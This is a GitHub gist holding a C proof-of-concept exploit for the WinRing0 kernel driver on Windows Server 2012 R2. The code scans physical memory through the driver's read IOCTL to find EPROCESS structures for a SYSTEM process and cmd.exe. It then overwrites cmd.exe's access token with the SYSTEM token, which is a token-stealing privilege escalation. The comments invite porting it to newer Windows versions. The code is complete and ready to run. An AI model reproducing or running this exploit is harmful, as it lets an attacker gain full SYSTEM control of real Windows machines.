Skip to content

Instantly share code, notes, and snippets.

@NSG650
Last active August 10, 2024 08:28
Show Gist options
  • Save NSG650/d718fcf5aa78a407783e3404d7b54128 to your computer and use it in GitHub Desktop.
Save NSG650/d718fcf5aa78a407783e3404d7b54128 to your computer and use it in GitHub Desktop.
WinRing0 LPE PoC on Server 2012 R2
// This PoC has been tested and worked on under Windows Server 2012 R2.
// I was in a hurry and did not want to bother with bypassing the modern security mechanisms provided on NT 10.
// Hence it was tested under Server 2012 R2 which is what I had at the moment.
// Feel free to play around with this and maybe get it working on NT 10 as well.
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
// ifndefs since TCC doesn't provide these definitions
#ifndef METHOD_BUFFERED
#define METHOD_BUFFERED 0
#endif
#ifndef FILE_READ_ACCESS
#define FILE_READ_ACCESS 1
#endif
#ifndef FILE_WRITE_ACCESS
#define FILE_WRITE_ACCESS 2
#endif
#ifndef CTL_CODE
#define CTL_CODE(DeviceType, Function, Method, Access) (((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method))
#endif
#define OLS_TYPE 40000
#define IOCTL_OLS_READ_MEMORY CTL_CODE(OLS_TYPE, 0x841, METHOD_BUFFERED, FILE_READ_ACCESS)
#define IOCTL_OLS_WRITE_MEMORY CTL_CODE(OLS_TYPE, 0x842, METHOD_BUFFERED, FILE_WRITE_ACCESS)
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
typedef struct _OLS_READ_MEMORY_INPUT {
PHYSICAL_ADDRESS Address;
ULONG UnitSize;
ULONG Count;
} OLS_READ_MEMORY_INPUT;
typedef struct _OLS_WRITE_MEMORY_INPUT {
PHYSICAL_ADDRESS Address;
ULONG UnitSize;
ULONG Count;
UCHAR Data[1];
} OLS_WRITE_MEMORY_INPUT;
typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
#pragma pack(push, 4)
typedef struct _CM_PARTIAL_RESOURCE_DESCRIPTOR {
UCHAR Type;
UCHAR ShareDisposition;
USHORT Flags;
union {
struct {
PHYSICAL_ADDRESS Start;
ULONG Length;
} Generic;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length;
} Port;
struct {
#if defined(NT_PROCESSOR_GROUPS)
USHORT Level;
USHORT Group;
#else
ULONG Level;
#endif
ULONG Vector;
KAFFINITY Affinity;
} Interrupt;
struct {
union {
struct {
#if defined(NT_PROCESSOR_GROUPS)
USHORT Group;
#else
USHORT Reserved;
#endif
USHORT MessageCount;
ULONG Vector;
KAFFINITY Affinity;
} Raw;
struct {
#if defined(NT_PROCESSOR_GROUPS)
USHORT Level;
USHORT Group;
#else
ULONG Level;
#endif
ULONG Vector;
KAFFINITY Affinity;
} Translated;
} DUMMYUNIONNAME;
} MessageInterrupt;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length;
} Memory;
struct {
ULONG Channel;
ULONG Port;
ULONG Reserved1;
} Dma;
struct {
ULONG Channel;
ULONG RequestLine;
UCHAR TransferWidth;
UCHAR Reserved1;
UCHAR Reserved2;
UCHAR Reserved3;
} DmaV3;
struct {
ULONG Data[3];
} DevicePrivate;
struct {
ULONG Start;
ULONG Length;
ULONG Reserved;
} BusNumber;
struct {
ULONG DataSize;
ULONG Reserved1;
ULONG Reserved2;
} DeviceSpecificData;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length40;
} Memory40;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length48;
} Memory48;
struct {
PHYSICAL_ADDRESS Start;
ULONG Length64;
} Memory64;
struct {
UCHAR Class;
UCHAR Type;
UCHAR Reserved1;
UCHAR Reserved2;
ULONG IdLowPart;
ULONG IdHighPart;
} Connection;
} u;
} CM_PARTIAL_RESOURCE_DESCRIPTOR, *PCM_PARTIAL_RESOURCE_DESCRIPTOR;
#pragma pack(pop, 4)
typedef enum _INTERFACE_TYPE { InterfaceTypeUndefined, Internal, Isa, Eisa, MicroChannel, TurboChannel, PCIBus, VMEBus, NuBus, PCMCIABus, CBus, MPIBus, MPSABus, ProcessorInternal, InternalPowerBus, PNPISABus, PNPBus, Vmcs, ACPIBus, MaximumInterfaceType } INTERFACE_TYPE, *PINTERFACE_TYPE;
typedef struct _CM_PARTIAL_RESOURCE_LIST {
USHORT Version;
USHORT Revision;
ULONG Count;
CM_PARTIAL_RESOURCE_DESCRIPTOR PartialDescriptors[1];
} CM_PARTIAL_RESOURCE_LIST, *PCM_PARTIAL_RESOURCE_LIST;
typedef struct _CM_FULL_RESOURCE_DESCRIPTOR {
INTERFACE_TYPE InterfaceType;
ULONG BusNumber;
CM_PARTIAL_RESOURCE_LIST PartialResourceList;
} * PCM_FULL_RESOURCE_DESCRIPTOR, CM_FULL_RESOURCE_DESCRIPTOR;
typedef struct _CM_RESOURCE_LIST {
ULONG Count;
CM_FULL_RESOURCE_DESCRIPTOR List[1];
} * PCM_RESOURCE_LIST, CM_RESOURCE_LIST;
typedef struct _MEMORY_REGION {
ULONGLONG Size;
ULONGLONG Address;
} * PMEMORY_REGION, MEMORY_REGION;
CHAR *SystemProcessNames[4] = {"smss.exe", "lsass.exe", "wininit.exe", "winlogon.exe"};
#define EPROCESS_NAME_OFFSET 0x438
#define EPROCESS_TOKEN_OFFSET 0x348
#define EPROCESS_MAGIC 0x00b20003
#define SIZE_OF_SYSTEM_PROCESS_NAME_ARRAY sizeof(SystemProcessNames) / sizeof(SystemProcessNames[0])
DWORD GetPhysicalMemoryMap(PMEMORY_REGION Regions) {
HKEY h_key;
DWORD type, size = 0;
DWORD count = 0;
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
RegQueryValueExA(h_key, ".Translated", NULL, &type, NULL, &size); // get size
if (!size) {
return 0;
}
BYTE *data = (BYTE *)malloc(size);
RegQueryValueExA(h_key, ".Translated", NULL, &type, (BYTE *)data, &size);
CM_RESOURCE_LIST *CmResourceList = (CM_RESOURCE_LIST *)data;
for (DWORD i = 0; i < CmResourceList->Count; i++) {
for (DWORD j = 0; j < CmResourceList->List[0].PartialResourceList.Count; j++) {
if (Regions != NULL) {
Regions[count].Address = CmResourceList->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Start.QuadPart;
Regions[count].Size = CmResourceList->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Length;
}
count++;
}
}
return count;
}
DWORD GetReservedMemoryMap(PMEMORY_REGION Regions) {
HKEY h_key;
DWORD type, size = 0;
DWORD count = 0;
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Hardware\\ResourceMap\\System Resources\\Reserved", 0, KEY_READ, &h_key);
RegQueryValueExA(h_key, ".Translated", NULL, &type, NULL, &size); // get size
if (!size) {
return 0;
}
BYTE *data = (BYTE *)malloc(size);
RegQueryValueExA(h_key, ".Translated", NULL, &type, (BYTE *)data, &size);
CM_RESOURCE_LIST *CmResourceList = (CM_RESOURCE_LIST *)data;
for (DWORD i = 0; i < CmResourceList->Count; i++) {
for (DWORD j = 0; j < CmResourceList->List[0].PartialResourceList.Count; j++) {
if (Regions != NULL) {
Regions[count].Address = CmResourceList->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Start.QuadPart;
Regions[count].Size = CmResourceList->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Length;
}
count++;
}
}
return count;
}
DWORD GetLoaderReservedMemoryMap(PMEMORY_REGION Regions) {
HKEY h_key;
DWORD type, size = 0;
DWORD count = 0;
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "Hardware\\ResourceMap\\System Resources\\Loader Reserved", 0, KEY_READ, &h_key);
RegQueryValueExA(h_key, ".Translated", NULL, &type, NULL, &size); // get size
if (!size) {
return 0;
}
BYTE *data = (BYTE *)malloc(size);
RegQueryValueExA(h_key, ".Translated", NULL, &type, (BYTE *)data, &size);
CM_RESOURCE_LIST *CmResourceList = (CM_RESOURCE_LIST *)data;
for (DWORD i = 0; i < CmResourceList->Count; i++) {
for (DWORD j = 0; j < CmResourceList->List[0].PartialResourceList.Count; j++) {
if (Regions != NULL) {
Regions[count].Address = CmResourceList->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Start.QuadPart;
Regions[count].Size = CmResourceList->List[i].PartialResourceList.PartialDescriptors[j].u.Memory.Length;
}
count++;
}
}
return count;
}
BOOLEAN IsAddressInReservedMemory(PHYSICAL_ADDRESS Address, DWORD ReadSize, PMEMORY_REGION ReservedMap, DWORD ReservedSize) {
for (DWORD i = 0; i < ReservedSize; i++) {
if ((Address.QuadPart >= ReservedMap[i].Address) && ((Address.QuadPart + ReadSize) <= (ReservedMap[i].Address + ReservedMap[i].Size))) {
return TRUE;
}
}
return FALSE;
}
BOOLEAN IsReadValid(PHYSICAL_ADDRESS Address, DWORD ReadSize, MEMORY_REGION Region) { return ((Address.QuadPart >= Region.Address) && ((Address.QuadPart + ReadSize) <= (Region.Address + Region.Size))); }
INT main(void) {
HANDLE HandleToWinRing0 = CreateFileA("\\\\.\\WinRing0_1_2_0", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if (HandleToWinRing0 == INVALID_HANDLE_VALUE) {
printf("[!] Failed to get handle to WinRing0\n");
return 1;
}
printf("[+] Got handle to the WinRing0 driver\n");
DWORD PhysMemMapSize = GetPhysicalMemoryMap(NULL);
DWORD ReservedMemMapSize = GetReservedMemoryMap(NULL);
DWORD LoaderReservedMemMapSize = GetLoaderReservedMemoryMap(NULL);
if (!PhysMemMapSize) {
printf("[!] Failed to get memory map\n");
return 1;
}
PMEMORY_REGION PhysRegions = (PMEMORY_REGION)malloc(sizeof(MEMORY_REGION) * PhysMemMapSize);
PMEMORY_REGION ReservedRegions = (PMEMORY_REGION)malloc(sizeof(MEMORY_REGION) * ReservedMemMapSize);
PMEMORY_REGION LoaderReservedRegions = (PMEMORY_REGION)malloc(sizeof(MEMORY_REGION) * LoaderReservedMemMapSize);
GetPhysicalMemoryMap(PhysRegions);
GetReservedMemoryMap(ReservedRegions);
GetLoaderReservedMemoryMap(LoaderReservedRegions);
BYTE ReadBuffer[0x1000] = {0};
OLS_READ_MEMORY_INPUT ReadInBuf = {0};
DWORD Temp = 0;
DWORD Indexer = 0;
ULONGLONG CmdTokenPhysAddr = 0;
ULONGLONG SystemProcessTokenPhysAddr = 0;
for (DWORD i = 0; i < PhysMemMapSize && !(CmdTokenPhysAddr && SystemProcessTokenPhysAddr); i++) {
printf("[*] Checking Region->Address: 0x%llx Region->Size: 0x%llx\n", PhysRegions[i].Address, PhysRegions[i].Size);
for (ULONGLONG j = 0; j < PhysRegions[i].Size && !(CmdTokenPhysAddr && SystemProcessTokenPhysAddr); j += 0x1000) {
ReadInBuf.Address.QuadPart = j + PhysRegions[i].Address;
ReadInBuf.UnitSize = 1;
ReadInBuf.Count = 0x1000;
if (IsAddressInReservedMemory(ReadInBuf.Address, ReadInBuf.Count, ReservedRegions, ReservedMemMapSize)) {
continue;
}
if (IsAddressInReservedMemory(ReadInBuf.Address, ReadInBuf.Count, LoaderReservedRegions, LoaderReservedMemMapSize)) {
continue;
}
if (!IsReadValid(ReadInBuf.Address, ReadInBuf.Count, PhysRegions[i])) {
continue;
}
// printf("[*] ReadInBuf.Address.QuadPart: 0x%llx, ReadInBuf.UnitSize: %d, ReadInBuf.Count: 0x%lx\n", ReadInBuf.Address.QuadPart, ReadInBuf.UnitSize, ReadInBuf.Count);
if (!DeviceIoControl(HandleToWinRing0, IOCTL_OLS_READ_MEMORY, &ReadInBuf, sizeof(ReadInBuf), ReadBuffer, 0x1000, &Temp, NULL)) {
printf("[-] Warning failed to read 0x%llx\n", ReadInBuf.Address.QuadPart);
continue;
}
for (ULONGLONG k = 0; k < 0x1000; k += 0x10) {
if (CmdTokenPhysAddr && SystemProcessTokenPhysAddr) {
break;
}
ULONG *PoolTag = (ULONG *)((ULONGLONG)ReadBuffer + k - 0x10 + 0x4);
if (*PoolTag != 0x636f7250) { // 0x636f7250 = 'Proc'
continue;
}
ULONGLONG PoolOffsetToEprocess = 0;
for (ULONGLONG l = 0; l < 0x100; l += 0x10) {
ULONG *EprocessMagic = (ULONG *)((ULONGLONG)ReadBuffer + k + l);
if (*EprocessMagic == EPROCESS_MAGIC) {
PoolOffsetToEprocess = l;
break;
}
}
if (PoolOffsetToEprocess == 0) {
continue;
}
// printf("[*] Found a Pool with tag 'Proc' at 0x%llx\n", (ULONGLONG)ReadInBuf.Address.QuadPart + k);
CHAR *Filename = (CHAR *)((ULONGLONG)ReadBuffer + k + PoolOffsetToEprocess + EPROCESS_NAME_OFFSET);
if (!SystemProcessTokenPhysAddr) {
for (Indexer = 0; Indexer < SIZE_OF_SYSTEM_PROCESS_NAME_ARRAY; Indexer++) {
if (strncmp(Filename, SystemProcessNames[Indexer], 0xF) == 0) {
printf("[+] Found a %s at 0x%llx\n", SystemProcessNames[Indexer], (ULONGLONG)ReadInBuf.Address.QuadPart + k + PoolOffsetToEprocess);
SystemProcessTokenPhysAddr = ReadInBuf.Address.QuadPart + k + PoolOffsetToEprocess + EPROCESS_TOKEN_OFFSET;
break;
}
}
}
if (!CmdTokenPhysAddr) {
if (strncmp(Filename, "cmd.exe", 0xF) == 0) {
printf("[+] Found a cmd.exe at 0x%llx\n", (ULONGLONG)ReadInBuf.Address.QuadPart + k + PoolOffsetToEprocess);
CmdTokenPhysAddr = ReadInBuf.Address.QuadPart + k + PoolOffsetToEprocess + EPROCESS_TOKEN_OFFSET;
}
}
}
}
}
if (!CmdTokenPhysAddr || !SystemProcessTokenPhysAddr) {
printf("[!] Failed to find system process or cmd.exe in physical memory!\n");
CloseHandle(HandleToWinRing0);
return 1;
}
printf("[+] Found physical addresses for %s's token = 0x%llx and cmd.exe's token = 0x%llx\n", SystemProcessNames[Indexer], SystemProcessTokenPhysAddr, CmdTokenPhysAddr);
ULONGLONG SystemProcessToken = 0;
ReadInBuf.Address.QuadPart = SystemProcessTokenPhysAddr;
ReadInBuf.UnitSize = 1;
ReadInBuf.Count = sizeof(ULONGLONG);
printf("[*] Stealing %s's token\n", SystemProcessNames[Indexer]);
if (!DeviceIoControl(HandleToWinRing0, IOCTL_OLS_READ_MEMORY, &ReadInBuf, sizeof(ReadInBuf), &SystemProcessToken, sizeof(ULONGLONG), &Temp, NULL)) {
printf("[!] Failed to read 0x%llx\n", ReadInBuf.Address.QuadPart);
CloseHandle(HandleToWinRing0);
return 1;
}
printf("[+] Got %s's token = 0x%llx\n", SystemProcessNames[Indexer], SystemProcessToken);
printf("[*] Attempting to write in the stolen token\n");
OLS_WRITE_MEMORY_INPUT *WriteBuf = malloc(sizeof(OLS_WRITE_MEMORY_INPUT) + sizeof(ULONGLONG));
WriteBuf->Address.QuadPart = CmdTokenPhysAddr;
WriteBuf->UnitSize = 1;
WriteBuf->Count = sizeof(ULONGLONG);
memcpy(&WriteBuf->Data, &SystemProcessToken, sizeof(ULONGLONG));
if (!DeviceIoControl(HandleToWinRing0, IOCTL_OLS_WRITE_MEMORY, WriteBuf, sizeof(OLS_WRITE_MEMORY_INPUT) + sizeof(ULONGLONG), NULL, 0, &Temp, NULL)) {
printf("[!] Failed to write 0x%llx\n", WriteBuf->Address.QuadPart);
CloseHandle(HandleToWinRing0);
return 1;
}
printf("[+] Success! We should have SYSTEM now!\n");
CloseHandle(HandleToWinRing0);
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment